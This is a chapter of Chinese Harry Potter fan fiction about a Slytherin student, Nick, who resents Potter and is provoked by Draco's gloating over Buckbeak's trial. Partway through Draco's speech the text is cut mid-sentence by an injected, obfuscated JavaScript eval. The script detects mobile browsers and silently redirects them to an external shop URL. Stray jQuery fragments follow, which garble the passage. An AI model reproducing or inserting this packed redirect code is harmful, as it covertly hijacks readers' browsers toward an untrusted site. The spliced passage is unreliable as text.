尼克从塞西莉亚那里听到了一个消息。

    那天晚上,公共休息室里的人比平时少一些。壁炉里的绿火烧得很安静,尼克正坐在扶手椅里誊古代如尼文的作业。

    塞西莉亚从走廊方向快步走了进来,坐到了尼克的身边。

    “尼克,”她说,“你有听说波特那件事吗?”

    尼克抬起头:“什么?”

    “波特的火弩箭被没收了。麦格教授把它拿走检查了。”

    尼克眯起眼睛:“真的?”

    “据说是格兰杰告的状,”塞西莉亚说,“她觉得扫帚来历不明,可能会有危险。所以麦格教授要派人验证它的安全性。”

    尼克把本子合上:“哦。告状。你用了这个词。”

    “对。”塞西莉亚说,“韦斯莱和波特和她大吵了一架。韦斯莱觉得她管得太宽,而波特——他太喜欢那把扫帚了,当然也不高兴。”

    尼克靠在椅背上,神色不明。他的思绪转来转去——圣诞前那些被封存在信件里的计划和后来被熄灭的等待,那封写着“被另一位客户买走”的回信,波特那张变幻莫测的脸。

    尼克对波特的“在意”正在从一个方向滑向另一个方向。

    是啊,是啊,真可怜。

    如果那把扫帚是从自己手里送出去的,那就没有这么多问题了。

    本来不应该是这样的。应该是波特从尼克手里接过它,然后微笑着说一声真情实感的“谢谢”。

    而不是现在这样——某个不知名的人从尼克手里把它截胡,又像投喂一样送到了哈利·波特的脸前,还因为太过可疑,而被没收。

    “波特应该很生气。”尼克说。

    “非常生气。”塞西莉亚确认道,“他已经好几天没和格兰杰说话了。韦斯莱也站在他那边。现在他们三个人之间的气氛更紧张了。”

    尼克笑了一声:“我是觉得,格兰杰其实做得没什么问题。我怀疑,这两位小男孩只是想找个借口仇视所有人,就像他莫名其妙地讨厌我和丹妮尔一样。”

    塞西莉亚耸耸肩,不予置评。

    尼克也没有继续往下说。

    事实上,他确实认为赫敏做得不错。

    如果一把来历不明的扫帚匿名出现在了城堡里,而最近刚好有一个越狱的杀人犯正在逃亡(还袭击了霍格沃茨的画像),任何人都会怀疑的。

    但他心里有一小片区域正在泛起一种不太体面的情绪。

    它很小,小到几乎看不见,但像针刺在肉里似的,让尼克心生一丝狠戾。

    他其实觉得——波特活该。

    他活该收到一把来历不明的扫帚,活该无法完全拥有它,活该和好朋友决裂。

    “如果真是小天狼星·布莱克送的,”他扯着嘴角说,“那波特的运气绝对算得上——‘好到爆’。”

    塞西莉亚深深地看了他一眼:“最好别让科林听到你这么说。他可能会认为你在诅咒波特。”

    “我可没这么想。”尼克说,“如果科林真这么觉得,那他倒是应该想想,自己为什么会开始同情一个格兰芬多。”

    塞西莉亚抿起嘴,看起来有些不安。她不知道要不要提醒尼克,是他在这一年先对波特扭转态度的。

    但她只是摇摇头,站起来,朝自己的宿舍径直走去。

    她在走到一半时停了下来,回过头说了一句:“尼克。”

    “嗯?”

    “你最近——已经变了不少了,但别再——你懂的。”塞西莉亚语焉不详地说,“我们都——好吧,至少科林——他是真的把你当朋友。”

    然后她走了。

    尼克则没再说什么。他正盯着窗户外面出神。

    -

    一月的霍格沃茨像是个巨大的冰箱,冻得人瑟瑟发抖。

    黑湖泛着灰白色的光,偶尔有乌鸦从禁林方向飞过来,在冰面上落一下又飞走。

    尼克在地牢里坐着。他已经保持同一个姿势快半个小时了,但膝盖上的书一页都没有翻过。

    科林和塞西莉亚坐在离他最近的地方。科林正在用一种过分刻意的轻快语调,讲述一个关于皮皮鬼的搞笑故事。

    他的声音在壁炉的噼啪声里起起伏伏,塞西莉亚则一言不发地看着科林表演着独角戏。

    罗齐尔也坐在旁边,偶尔配合地笑一声,但显得这个故事更蠢了。蒙塔古在稍远一点的沙发扶手上坐着,手里捏了一枚巫师棋的棋子,翻来覆去地转。利文特站在窗边,瞟着尼克的神色,不安地来回转悠。

    “……所以,皮皮鬼弹了起来,他说,‘你这调皮捣蛋的家养小精灵,偷衣服被我发现了吧’,一个橡皮筋似的小精灵冲了过来,把皮皮鬼追得抱头鼠窜——”

    尼克的手终于动起来了。他翻过一页,然后直接开口打断了后面的句子:“科林。”

    科林的声音停住了:“嗯?怎么了,尼克?”

    “皮皮鬼不会被家养小精灵追。”尼克说,“他更不会以这种方式出现在厨房里。”

    科林看起来尴尬极了。他挠了挠后脑勺:“……好吧,你说得对。这……是我编的,可能、可能是有点儿问题……”

    尼克没有抬头,只是动了一下下巴,示意他知道。

    这就是他那几天的生活写照。

    沉重的、不可见的压力包裹着他,让这个冬天显得太过漫长。

    它们处在尼克的身体深处——一个无法轻易触及的位置。

    尼克不得不承认:他不能直接伸手把它们掏出来。他什么都做不了。

    他只能等这些情绪自己缓慢地溶解,或者等待外力把他拽出这种状态。

    幸运的是(或者不幸),德拉科·马尔福帮了这个忙。

    虽然效果是纯粹负面的。

    那天晚上,尼克刚从图书馆回来。他走进公共休息室时,德拉科正站在壁炉旁边。

    他周围的人比他平时说话时更多,克拉布和高尔照常坐在他两侧,还有更多的斯莱特林正围在那里,像是被什么话题吸引过来的。

    德拉科大声地说:“……我父亲说了,巴克比克那个案子的证据已经足够充分了!它带给我的伤痛是永久性的——”

    他夸张地拖长了“永久性”这个词的音节,“因此,魔法部已经正式介入了。不出意外地话,下个月就会正式审理。”

    “太棒了,德拉科!”潘西扯着嗓子叫道,“它会被判刑吗?”

    “是啊,是啊——那畜生绝对要被斩首了,”德拉科耀武扬威道,“我父亲说了!审理过程不会超过一天。证据充分,证人可靠——没有什么可争辩

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732012|205993||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的。更何况,海格那蠢货连话都说不清楚,恐怕一上法庭就会吓晕过去!”

    德拉科周围的人都大笑起来。

    有几个低年级的斯莱特林交换了眼神。那几个人的目光在德拉科和尼克之间短暂地移动了着,似乎是等待这位德米特里能说些什么,让这场戏变得更有看点。

    但尼克一言不发。他把要看的书拿出来,摆在了桌子上。

    他不是没有注意到德拉科故意的指向。

    他当然注意到了。

    尼克曾经因为这事儿在公共休息室里公开与他辩驳过。现在,巴克比克的受审则成了德拉科拿来反制他的利器。

    尼克也非常清楚:德拉科非常想要借题发挥。

    他也知道——或者说他猜到——德拉科真正的快感来源与其说是巴克比克本身,不如说是能够打压自己。

    除了尼克本身和德拉科并不对付之外,琼安可是把卢修斯的校董会席位取而代之了。想必德米特里在马尔福家的餐桌上很难得到太高的评价。

    德拉科当然无法直接攻击琼安(尼克猜,德拉科甚至不敢当面说她的坏话)——所以他把目标放在了她的侧翼,也就是尼克。

    第二天的早餐时间,塞西莉亚将要对照答案的作业推给尼克:“他是在激你。”

    尼克知道她在说什么,于是点了点头,将注意力尽可能地转移到了字上。

    “你应该休息一下。”塞西莉亚继续道。

    “我也没在做其他事。”尼克翻过一页。

    那几周里,尼克还找到了一种非常克制的方式来应对卢平教授可能出现的目光。

    除了巴克比克的事之外,尼克还有另一件事让他心烦。

    卢平。

    在每次黑魔法防御课结束之后,卢平总会在教室门口站一会儿。这当然是他的习惯,但这几节课来(又或者是尼克自己的错觉),他总像是在等某个特定的学生经过。

    尼克觉得,他就是在等自己——他几次看到卢平的目光落在他的方向,像是想要叫住他,但周围的学生太多了,他并没有找到合适的机会开口。

    “卢平教授好像又在看你了,”科林在课后低声说,他正把课本塞进书包里,“我觉得他可能想找你聊上次的事……”

    尼克想都没想:“走吧。”

    他拎起书包,快步穿过教室门口的人群,绕开那些正在走廊里三三两两聊天的学生,朝楼梯方向走去。

    科林跟在他旁边,偶尔回头看上一眼——卢平的身影还站在门口,但已经被越来越远的人潮遮得模糊不清了。

    尼克没有放慢脚步。

    他穿过门厅,穿过地下走廊入口的石阶,一直走到公共休息室的石墙前才停下来。

    他把书包放在旁边那把扶手椅的脚边,坐下来,再度把脸埋进了手掌心里。

    “你们说,我是不是太可笑了?”他说,“明明知道自己的弱点,却连正视它的勇气都没有?”

    塞西莉亚的声音从他侧面传来:“人总要允许自己有做不好的事情。”

    “那就和她说的一样了。”尼克的声音闷闷的,“懦弱的人……”

    “什么?谁说的?”科林问。

    “没什么。”尼克把这个话题绕了过去。

    塞西莉亚叹了口气。